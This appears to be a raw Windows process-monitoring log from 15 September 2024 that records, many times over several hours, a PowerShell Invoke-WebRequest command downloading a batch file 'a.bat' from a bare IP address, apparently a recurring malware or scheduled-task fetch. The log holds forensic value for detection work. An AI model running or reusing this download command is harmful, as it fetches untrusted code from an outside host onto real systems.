C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 10:58:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:00:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:03:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:05:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:08:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:10:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:13:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:15:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:18:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:20:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:23:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:25:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:28:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:30:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:33:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:35:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:38:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:40:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:43:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:45:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:48:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:50:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:53:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:55:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 11:58:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:00:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:05:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:08:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:10:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:13:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:15:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:18:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:20:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:23:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:25:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:28:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:30:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:33:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:35:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:38:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:40:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:43:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:45:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:48:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:50:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:53:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:55:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 12:58:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:00:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:03:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:05:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:08:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:10:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:13:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:15:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:18:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:20:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:23:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:25:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:28:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:30:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:33:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:35:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:38:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:40:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:43:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:45:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:48:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:50:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:53:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:55:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 13:58:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:00:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:03:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:05:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:08:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:10:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:13:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:15:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:18:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:20:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:23:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:25:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:28:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:30:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:35:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:38:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:40:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:43:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:45:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:48:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:50:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:53:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:55:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 14:58:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:00:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:03:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:05:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:08:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:10:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:13:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:15:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:18:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:20:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:22:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:23:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:24:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:25:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:27:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:28:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:28:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:29:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:30:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:33:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:33:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:35:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:35:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:38:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:38:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:40:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:40:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:43:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:43:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:45:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:45:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:48:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:48:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:50:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:50:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:53:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:53:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:55:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-15 15:55:59 NOTIFY: PROCESS 